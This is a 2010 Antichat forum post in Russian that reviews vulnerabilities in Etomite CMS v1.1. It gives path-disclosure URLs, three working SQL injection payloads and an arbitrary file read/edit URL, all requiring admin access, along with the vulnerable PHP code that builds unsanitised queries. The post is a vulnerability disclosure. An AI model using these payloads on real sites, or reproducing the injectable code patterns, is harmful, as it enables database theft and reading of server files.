Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Обзор уязвимостей Etomite CMS v1.1 |

12.01.2010, 00:53
|
|
Участник форума
Регистрация: 29.03.2005
Сообщений: 138
Провел на форуме: 812087
Репутация:
129
|
|
Обзор уязвимостей Etomite CMS v1.1
1)Раскрытие путей
Код:
http://host/manager/actions/static/document_data.static.action.php
Код:
http://host/manager/includes/accesscontrol.inc.php
2)SQL-injection
Условия: Доступ в панель администрирования
Код:
http://host/manager/index.php?a=3&id=-1 union select user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
Уязвимый код document_data.static.action.php:
PHP код:
$id = $_REQUEST['id'];
// Tree State modifications provided by Jeroen and Raymond
if (isset($_GET['opened'])) $_SESSION['openedArray'] = $_GET['opened'];
$sql = "SELECT * FROM $dbase.".$table_prefix."site_content WHERE $dbase.".$table_prefix."site_content.id = $id;";
$rs = mysql_query($sql);
Сложность в том, что sql запрос одновременно должен быть истенным еще в файле accesscontrol.inc.php:
PHP код:
$itemid = (isset($_REQUEST['id']) && !empty($_REQUEST['id'])) ? $_REQUEST['id'] : 'NULL';
$lasthittime = time();
$a = isset($_REQUEST['a']) ? $_REQUEST['a'] : "" ;
if($a!=1) {
$sql = "REPLACE INTO $dbase.".$table_prefix."active_users(internalKey, username, lasthit, action, id, ip) values(".$_SESSION['internalKey'].", '".$_SESSION['shortname']."', '".$lasthittime."', '".$a."', ".($itemid == 'NULL' ? 'NULL' : "'$itemid'").", '$ip')";
if(!$rs = mysql_query($sql)) {
echo "error replacing into active users! SQL: ".$sql;
exit;
}
}
3)SQL-injection
Условия: Доступ в панель администрирования
Код:
В админке, заходи в поиск и в строке поиска по id пишем 1' union select 1,2,user(),4,5,6,7/*
Уязвимый код search.static.action.php:
PHP код:
<?php
if(isset($_REQUEST['submitok'])) {
$searchid = $_REQUEST['searchid'];
$searchtitle = htmlentities($_POST['pagetitle'], ENT_QUOTES);
$searchcontent = addslashes($_REQUEST['content']);
$searchlongtitle = addslashes($_REQUEST['longtitle']);
$sqladd .= $searchid!="" ? " AND $dbase.".$table_prefix."site_content.id='$searchid' " : "" ;
$sqladd .= $searchtitle!="" ? " AND $dbase.".$table_prefix."site_content.pagetitle LIKE '%$searchtitle%' " : "" ;
$sqladd .= $searchlongtitle!="" ? " AND $dbase.".$table_prefix."site_content.longtitle LIKE '%$searchlongtitle%' " : "" ;
$sqladd .= $searchcontent!="" ? " AND $dbase.".$table_prefix."site_content.content LIKE '%$searchcontent%' " : "" ;
$sql = "SELECT id, pagetitle, description, deleted, published, isfolder, type FROM $dbase.".$table_prefix."site_content where 1=1 ".$sqladd." ORDER BY id;";
$rs = mysql_query($sql);
$limit = mysql_num_rows($rs);
?>
4)SQL-injection
Условия: Доступ в панель администрирования
Код:
При выставлении прав групп пользователей на права просмотра группы документов подменяем в POST запросе параметр usergroup на 1'union select 1,2,3/*
Уязвимый код access_groups.processor.php:
PHP код:
$usergroup = $_REQUEST['usergroup'];
if(empty($usergroup))
{
echo "No user group name specified for deletion";
exit;
}
else
{
$sql = "DELETE FROM $dbase.".$table_prefix."membergroup_names WHERE id='".$usergroup."'";
if(!$rs = mysql_query($sql))
{
echo "Unable to delete group. SQL failed.";
exit;
}
5)Работа с файлами(просмотр и редактирование любых файлов на сервере)
Условия: Доступ в панель администрирования
Код:
http://host/manager/index.php?a=31&mode=edit&path=[full_path_to_file]
Уязвимый код access_groups.processor.php:
PHP код:
if($_REQUEST['mode'] == "edit" || $_REQUEST['mode'] == "view")
{
$filename=$_REQUEST['path'];
$handle = @fopen($filename, "r");
if(!$handle)
{
echo 'Error opening file for reading.';
exit;
}
else
{
while(!feof($handle))
{
$buffer .= fgets($handle, 4096);
}
fclose ($handle);
}
Линк для скачки CMS: http://www.etomite.com/index.php?app=downloads&showfile=323
PS Конструктивную критику воспринимаю очень хорошо 
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|